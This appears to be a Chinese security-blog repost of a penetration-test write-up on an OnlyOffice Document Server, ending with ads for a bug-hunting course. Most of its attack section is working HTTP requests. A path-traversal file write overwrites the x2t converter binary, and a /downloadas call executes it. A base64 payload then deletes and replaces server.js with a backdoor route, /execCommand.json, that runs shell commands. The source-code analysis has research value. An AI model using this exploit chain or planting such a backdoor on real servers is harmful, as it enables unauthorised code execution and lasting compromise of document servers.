课程培训
扫码咨询


专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向,CNVD和EDUSRC漏洞挖掘,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(课程培训限时优惠)。
文章作者:xinca0Zzz
文章来源:https://forum.butian.net/share/4943
01
前言
某天白天,有位好兄弟突然问我,手上有个授权的目标有无空闲帮忙看看,正好那时的我因为下雨被困室内只能尽点绵薄之力。 后续发现下雨是对的,这次较为曲折的漏洞挖掘和思路拓展让我逐渐生锈的脑子开始了转动(头好痒哦)
渗透阶段
前期一系列的信息收集诸如域名,icp、子域名等等手段暂且不提,反正最终找到了下面的资产
话不多说,直接开始history vuln尝试一波
POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/welcome/111.txt"} HTTP/1.1
Host: xxx
Cookie: LRToken=
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
xxx
哦吼,有戏(开始的我以为已经结束了)
覆盖原始web文件注册路由
传统的onlyoffice利用如下: 项目运行的express的用户为ds, web下的文件所属用户也都为ds,那么可以通过覆盖web的一些文件实现RCE
覆盖js文件,新增路由实现RCE,但是比较麻烦的是node需要重启才会加载上新增的路由(无法实现) 通过覆盖模板文件再通过SSTI RCE,覆盖模板文件后不需要重启服务即可利用(未使用模版) 是否存在命令执行调用elf的路由,通过任意文件写覆盖elf来实现命令执行 这里我们使用3方法来尝试RCE 查看本次项目的onlyoffice是5.1.59版本。去github找到对应源码
在已公布的利用poc里,docbuilder路由实现的方法如下:
调用addTask方法,将生成doc的任务加到队列
在接收到任务后,调用ExecuteTask方法,执行
在ExecuteTask方法中,会通过spawnAsync命令执行方法调用/var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF二进制文件来生成文档,docbuilder文件所属用户也是ds,那么可以通过之前的文件写漏洞覆盖掉docbuilder ELF,再通过docbuilder路由触发我们上传覆盖的ELF
利用之路漫漫
然而在执行过程中,死活无法成功执行,迫不得已我只能再去仔细阅读一次源码,看看到底是怎么个事。 找到5.1.5.59版本源码查看一番发现
app.post('/docbuilder', utils.checkClientIp, rawFileParser, (req, res) => {
const licenseInfo = docsCoServer.getLicenseInfo();
if (licenseInfo.type !== constants.LICENSE_RESULT.Success) {
logger.error('License expired');
res.sendStatus(402);
return;
}
converterService.builder(req, res);
});
此版本有一个判断,如果licenseInfo类型不为True,则无法执行builder的方法。而在DocsCoServer.js当中,licenseInfo写死为Error,所以无法执行converterService.builder
上述的利用链路就无法使用了(TM的甘),所以还能怎么办呢,这时我的脑子非常的痒,挠的时候无意中发现在源码的bin目录里,还存在一个x2t的elf文件,这时我想如果我们能够上传并覆盖其内容,并能够执行它,是不是就能达到同样的目的。

开始扩展审计
回到触发命令执行的地方,具体看看代码:
function* ExecuteTask(task) {
var startDate = null;
var curDate = null;
if(clientStatsD) {
startDate = curDate = newDate();
}
var resData;
var tempDirs;
var getTaskTime = newDate();
var cmd = task.getCmd();
var dataConvert = new TaskQueueDataConvert(task);
logger.debug('Start Task(id=%s)', dataConvert.key);
var error = constants.NO_ERROR;
tempDirs = getTempDir();
let fileTo = task.getToFile();
dataConvert.fileTo = fileTo ? path.join(tempDirs.result, fileTo) : '';
let isBuilder = cmd.getIsBuilder();
if (cmd.getUrl()) {
dataConvert.fileFrom = path.join(tempDirs.source, dataConvert.key + '.' + cmd.getFormat());
var isDownload = yield* downloadFile(dataConvert.key, cmd.getUrl(), dataConvert.fileFrom);
if (!isDownload) {
error = constants.CONVERT_DOWNLOAD;
}
if(clientStatsD) {
clientStatsD.timing('conv.downloadFile', newDate() - curDate);
curDate = newDate();
}
} elseif (cmd.getSaveKey()) {
yield* downloadFileFromStorage(cmd.getDocId(), cmd.getDocId(), tempDirs.source);
logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key);
if(clientStatsD) {
clientStatsD.timing('conv.downloadFileFromStorage', newDate() - curDate);
curDate = newDate();
}
error = yield* processDownloadFromStorage(dataConvert, cmd, task, tempDirs);
} elseif (cmd.getForgotten()) {
yield* downloadFileFromStorage(cmd.getDocId(), cmd.getForgotten(), tempDirs.source);
logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key);
let list = yield utils.listObjects(tempDirs.source, false);
if (list.length > 0) {
dataConvert.fileFrom = list[0];
var forgottenMarkPath = tempDirs.result + '/' + cfgForgottenFilesName + '.txt';
fs.writeFileSync(forgottenMarkPath, cfgForgottenFilesName, {encoding: 'utf8'});
} else {
error = constants.UNKNOWN;
}
} elseif (isBuilder) {
yield* downloadFileFromStorage(cmd.getDocId(), cmd.getDocId(), tempDirs.source);
logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key);
let list = yield utils.listObjects(tempDirs.source, false);
if (list.length > 0) {
dataConvert.fileFrom = list[0];
}
} else {
error = constants.UNKNOWN;
}
var childRes = null;
let isTimeout = false;
if (constants.NO_ERROR === error) {
if(constants.AVS_OFFICESTUDIO_FILE_OTHER_HTMLZIP === dataConvert.formatTo && cmd.getSaveKey() && !dataConvert.mailMergeSend) {
yield utils.pipeFiles(dataConvert.fileFrom, dataConvert.fileTo);
} else {
var childArgs;
if (cfgArgs.length > 0) {
childArgs = cfgArgs.trim().replace(/ +/g, ' ').split(' ');
} else {
childArgs = [];
}
let processPath;
if (!isBuilder) {
processPath = cfgX2tPath;
let paramsFile = path.join(tempDirs.temp, 'params.xml');
let hiddenXml = dataConvert.serialize(paramsFile);
childArgs.push(paramsFile);
if (hiddenXml) {
childArgs.push(hiddenXml);
}
} else {
fs.mkdirSync(path.join(tempDirs.result, 'output'));
processPath = cfgDocbuilderPath;
childArgs.push('--all-fonts-path=' + cfgDocbuilderAllFontsPath);
childArgs.push('--save-use-only-names=' + tempDirs.result + '/output');
childArgs.push(dataConvert.fileFrom);
}
let timeoutId;
try {
let spawnAsyncPromise = spawnAsync(processPath, childArgs);
childRes = spawnAsyncPromise.child;
let waitMS = task.getVisibilityTimeout() * 1000 - (newDate().getTime() - getTaskTime.getTime());
timeoutId = setTimeout(function() {
isTimeout = true;
timeoutId = undefined;
childRes.stdin.end();
childRes.stdout.destroy();
childRes.stderr.destroy();
childRes.kill();
}, waitMS);
childRes = yield spawnAsyncPromise;
} catch (err) {
let fLog = null === err.status ? logger.error : logger.debug;
fLog.call(logger, 'error spawnAsync(id=%s)\r\n%s', cmd.getDocId(), err.stack);
childRes = err;
}
if (undefined !== timeoutId) {
clearTimeout(timeoutId);
}
}
if(clientStatsD) {
clientStatsD.timing('conv.spawnSync', newDate() - curDate);
curDate = newDate();
}
}
resData = yield* postProcess(cmd, dataConvert, tempDirs, childRes, error, isTimeout);
logger.debug('postProcess (id=%s)', dataConvert.key);
if(clientStatsD) {
clientStatsD.timing('conv.postProcess', newDate() - curDate);
curDate = newDate();
}
if (tempDirs) {
deleteFolderRecursive(tempDirs.temp);
logger.debug('deleteFolderRecursive (id=%s)', dataConvert.key);
if(clientStatsD) {
clientStatsD.timing('conv.deleteFolderRecursive', newDate() - curDate);
curDate = newDate();
}
}
if(clientStatsD) {
clientStatsD.timing('conv.allconvert', newDate() - startDate);
}
return resData;
}
以看到spawnAsync方法接受两个参数,processPath为执行的文件路径,childArgs为执行的参数,之前分析docbuilder可知,该方法会接受之前我们添加入队列任务的可执行文件完整路径去进行执行

在进入执行方法前,processPath有个判断,如果isBuilder为false,则为cfgX2tPath,否则为cfgDocBuilderPath。

可以看到cfgX2tPath就是x2t文件路径,所以只要满足if (!isBuilder) 就可以执行x2t文件了。
var cmd = task.getCmd();
getCmd : function() {
returnthis['cmd'];
},
let isBuilder = cmd.getIsBuilder();
getIsBuilder: function() {
returnthis['isbuilder'];
},
如果task对象里的isbuilder属性也就是cmd对象里的isbuilder属性不存在或者为False,就能够进行x2t的执行流程。
在canvasservice.js里:
function* commandSave(cmd, outputData) {
var completeParts = yield* saveParts(cmd, "Editor.bin");
if (completeParts) {
var queueData = getSaveTask(cmd);
yield* docsCoServer.addTask(queueData, constants.QUEUE_PRIORITY_LOW);
}
outputData.setStatus('ok');
outputData.setData(cmd.getSaveKey());
}
commandSave方法(Generator 函数)会使用docsCoServer.addTask将任务添加到执行队列里,需要completeParts为True
function* saveParts(cmd, filename) {
var result = false;
var saveType = cmd.getSaveType();
if (SAVE_TYPE_COMPLETE_ALL !== saveType) {
let ext = pathModule.extname(filename);
filename = pathModule.basename(filename, ext) + (cmd.getSaveIndex() || '') + ext;
}
if ((SAVE_TYPE_PART_START === saveType || SAVE_TYPE_COMPLETE_ALL === saveType) && !cmd.getSaveKey()) {
yield* addRandomKeyTaskCmd(cmd);
}
if (cmd.getUrl()) {
result = true;
} else {
var buffer = cmd.getData();
yield storage.putObject(cmd.getSaveKey() + '/' + filename, buffer, buffer.length);
cmd.data = null;
result = (SAVE_TYPE_COMPLETE_ALL === saveType || SAVE_TYPE_COMPLETE === saveType);
}
return result;
}
分析可知,如果cmd对象参数里存在url,则直接返回true,或者如果saveType等于3或者4,也能返回true进入后续执行的逻辑。
downloadAs函数里的协程调度器co会驱动调度我们的commandSave方法,只要满足cmd对象里c属性为save



接口调用为/downloadas/xx,综合构造只要满足cmd对象里c属性为save,id属性不为空,saveType属性为3或4即可执行x2t文件
漏洞再利用
先覆盖x2t elf文件内容
POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/x2t"} HTTP/1.1
Host: xxx
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
echo "1234" > /var/www/onlyoffice/documentserver/server/welcome/123.txt

调用执行接口:
POST /downloadas/1?cmd={"c":"save","id":"123456","savetype":3} HTTP/1.1
Host: xxx
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

查看结果:

稳定RCE
虽然最终已经可以执行命令了,但是每次执行都要这样三部曲实在过于麻烦,我们可以覆盖server文件,增加一个直接调用命令的路由,这样通过调用自己编写的路由直接RCE更加方便
POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/x2t"} HTTP/1.1
Host: xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
cp /var/www/onlyoffice/documentserver/server/DocService/sources/server.js /var/www/onlyoffice/documentserver/server/DocService/server.js;rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;echo "xxxxx" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;/usr/bin/supervisorctl restart onlyoffice-documentserver:docservice
上述请求就是备份原server文件并删除,上传我们添加路由的server.js,利用原本的服务重启express进程(这里需要寻找服务进程地址,篇幅原因省略了),这样我们就能访问接口直接RCE了 执行:
POST /downloadas/1?cmd={"c":"save","id":"123456","savetype":3} HTTP/1.1
Host: xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
RCE:
POST /execCommand.json HTTP/1.1
Host: xxx
Upgrade-Insecure-Requests: 1
cmd: ls
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
至此我的头也不痒了,雨也不下了,晚上正好去江边溜达溜达
02
26
SRC漏洞挖掘培训课程

1.课程价格目前是575(后面也会随着人数越多,涨价)🌟师傅们还可以上车补票,冲冲冲!
2.报名成功送知识星球一个,拉内部小圈子交流群+SRC直播通知群!✨
3.一周2节课程,直播+录播形式,课程内容大家可以看课表,目前是第一期,一次报名永久无限听课!❤️
4.目前是第一期课程,后面比如说开了二、三期,都是不用在花钱的!
5.上课结束后,会把视频录播+课件笔记一起打包发直播群!
6.哔哩哔哩SRC课程公开课,链接🔗直达:
https://space.bilibili.com/642258933
SRC课程详情🔎:学了一堆理论,还是挖不到漏洞?你缺的是实战!




最后也是希望大家都可以赚钱,找到好工作🎉




上课结束后,会把视频录播+课件笔记一起打包发直播群
「神农安全」知识星球目前已经累计2500+网络安全爱好者的加入!
后面也是小圈子做大起来了,师傅们也都喜欢看我文章,想着给大家教下src漏洞挖掘思路,所以自己花了很长时间做了✨课件和课表,都是纯自己手搓的,大家也可以看下课表的内容。


03
课程主打真实,一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的,让你真正了解SRC漏洞挖掘,助力在岗人员和大学生的能力提升,掌握新的技能树,为下一次跳槽涨薪做好准备。本课程内容覆盖企业SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。
本课程适合人群(光看不挖啥也不会)
1、有计算机经验,想从0转行入行的大学生或自学者2、想从CTF比赛/Web或SRC进阶到项目实战的选手3、想参与项目/找工作/提高收入的转型者4、想通过挖SRC赏金做副业的师傅们5、挖SRC漏洞遇到瓶颈的师傅们6、想学习AI安全自动化渗透测试漏洞挖掘的师傅
1、课程价格真心实惠,绝不割韭菜2、四五百的课程价格让你体会大几千的培训课程内容3、带着大家从0到1,本人上课坚持手搓课件(实战案例+知识体系)4、拒绝使用PPT演讲模式(无实操,很枯燥)

讲师介绍
id:一个想当文人的黑客


04


内部圈子介绍(报课赠送)

圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决
内部圈子专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)


05
















有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)


申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

夜雨聆风